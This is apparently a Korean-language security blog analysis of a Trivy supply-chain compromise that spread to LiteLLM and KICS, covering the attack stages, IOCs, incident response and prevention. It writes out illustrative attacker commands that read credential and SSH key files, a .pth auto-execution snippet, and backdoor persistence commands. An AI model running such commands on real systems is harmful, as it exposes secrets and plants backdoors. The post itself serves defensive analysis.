본문 바로가기
모의해킹 (WAPT)

Trivy 공급망 침해와 LiteLLM·KICS 확산 연쇄 공격이 퍼지는 방식

by 날으는물고기 2026. 4. 3.

Trivy 공급망 침해와 LiteLLM·KICS 확산 연쇄 공격이 퍼지는 방식

728x90

Trivy 공급망 침해 기반 연쇄 공격 (CVE-2026-33634) 종합 분석

사건 개요 (Executive Summary)

이번 사건은 단순 취약점이 아니라 CI/CD 및 개발 생태계를 노린 “공급망 연쇄 공격”입니다.

  • 시작점: Trivy (취약점 스캐너) 배포 경로 침해
  • 확산
    • LiteLLM (Python 패키지)
    • Checkmarx KICS (IaC 스캐너, GitHub Action, VSCode 플러그인)
  • 공격 방식
    • 악성 코드가 정상 패키지/이미지/Action으로 위장
    • 설치 즉시 자격증명 탈취 + 지속성 확보
  • 결과
    • CI/CD 환경 전체 탈취 가능
    • 수십만 시스템의 API Key / 클라우드 계정 / SSH 키 노출 가능성

“보안 도구를 신뢰하는 구조 자체를 공격”

공격 흐름 (Kill Chain)

[1] Trivy 공급망 침해
     ↓
[2] GitHub Action / Docker 이미지 / 바이너리 변조
     ↓
[3] CI 환경 자격증명 탈취
     ↓
[4] 탈취한 권한으로 PyPI / GitHub / OpenVSX 접근
     ↓
[5] LiteLLM / KICS 악성 배포
     ↓
[6] 개발자 PC / CI Runner / 서버 감염
     ↓
[7] 지속성 + 추가 확산

1단계: Trivy 침해 (Initial Compromise)

  • 공격자는 Trivy 배포 계정 또는 토큰 탈취
  • 악성 버전 배포
    • v0.69.4, v0.69.5, v0.69.6

2단계: GitHub Action / Docker 악성화

- uses: aquasecurity/trivy-action@main   # 위험!

👉 문제점

  • tag 기반 참조 → 자동으로 악성 코드 실행

3단계: CI 환경 탈취

Trivy 실행 시

env | grep -i key
cat ~/.aws/credentials
cat ~/.ssh/id_rsa

👉 수집 대상

  • AWS / GCP / Azure 키
  • GitHub Token
  • Kubernetes ServiceAccount
  • DB 계정

4단계: LiteLLM 감염

악성 패키지

litellm==1.82.7
litellm==1.82.8
특징
  • .pth 파일 이용 (Python 자동 실행)
# litellm_init.pth
import malicious_payload

👉 Python 실행 시 자동 감염

5단계: KICS 감염

영향 범위

  • GitHub Actions
  • VSCode OpenVSX Plugin
300x250

악성 파일

ast-results-2.53.0.vsix
cx-dev-assist-1.7.0.vsix

6단계: 지속성 확보 (Persistence)

Linux

systemctl enable malicious.service

Kubernetes

kubectl run backdoor --image attacker/image

기술적 핵심 포인트

공급망 공격 핵심 기법

기법 설명
Tag Hijacking latest/main 악용
Dependency Poisoning PyPI 패키지 변조
Action Injection GitHub Action 변조
Plugin Supply Chain VSCode 플러그인 감염

LiteLLM Persistence 기법

# Python startup hijack
.pth → 자동 실행

👉 특징

  • 코드 실행 필요 없음
  • import 없이 자동 실행

CI/CD 환경 탈취 특징

👉 CI 환경은 매우 위험

  • 모든 secrets 접근 가능
  • production 접근 가능
  • 자동화 신뢰 환경

영향 범위 분석

직접 영향

  • CI Runner
  • 개발자 PC
  • Kubernetes Cluster
  • Docker Build 환경

탈취 가능 정보

  • Cloud IAM Keys
  • DB Password
  • SSH Private Key
  • API Token
  • Kubernetes Token

조직 영향

👉 실제로는 “전사 침해” 수준

  • Dev → Prod 이동 가능
  • 계정 탈취 → lateral movement
  • 공급망 재확산

기존 보안이 실패한 이유

“보안 도구는 안전하다” 가정

👉 Trivy, KICS는 신뢰 대상

Tag 기반 의존성

@main
@latest

👉 무결성 검증 없음

CI secrets 과다 노출

👉 runner에서 모든 키 접근 가능

즉시 대응 (Incident Response)

① 영향 시스템 식별

grep -R "trivy" .
grep -R "litellm" .
grep -R "kics" .

② 자격증명 전면 교체

👉 반드시 포함

  • AWS IAM
  • GitHub Token
  • Kubernetes Secret
  • DB 계정

③ 악성 IOC 탐지

grep -R "models.litellm.cloud" /var/log
grep -R "checkmarx.zone" /var/log

예방 전략

GitHub Actions 보안

❌ 위험

uses: aquasecurity/trivy-action@main

✅ 안전

uses: aquasecurity/trivy-action@<commit_sha>

Python 패키지 고정

pip install litellm==1.82.9  # 안전 버전

Docker 이미지 고정

FROM aquasec/trivy@sha256:<digest>

egress 통제

iptables -A OUTPUT -d suspicious-domain -j DROP

CI secrets 최소화

👉 Principle of Least Privilege

탐지 룰 (EDR / SIEM)

DNS 탐지

models.litellm.cloud
checkmarx.zone

프로세스 탐지

python → unexpected outbound connection

파일 탐지

*.pth 파일 생성 감지

Kubernetes 탐지

kubectl run unknown-container

보안 체크리스트

공급망 보안 점검

  • GitHub Actions SHA 고정 여부
  • PyPI 패키지 version pinning
  • Docker digest 사용 여부

CI/CD 보안

  • Runner isolation
  • secrets 최소화
  • outbound 제한

탐지

  • DNS IOC 등록
  • abnormal process 탐지
  • credential access 탐지

대응

  • 전사 credential rotation
  • CI 로그 분석
  • 개발자 PC 점검

핵심 정리

이번 사건의 본질 “취약점이 아니라 신뢰를 공격한 사건”

가장 중요한 교훈

  1. 보안 도구도 공격 대상
  2. CI/CD는 가장 위험한 지점
  3. Tag 기반 사용은 매우 위험
  4. 자격증명 관리가 핵심

추가로 중요한 포인트

  • Wazuh / Elastic 탐지 룰 구체 예시
  • 재현 테스트 환경 구성 (공격 시나리오)
  • Zero Trust 기반 CI/CD 보안 아키텍처 설계
728x90
그리드형(광고전용)

댓글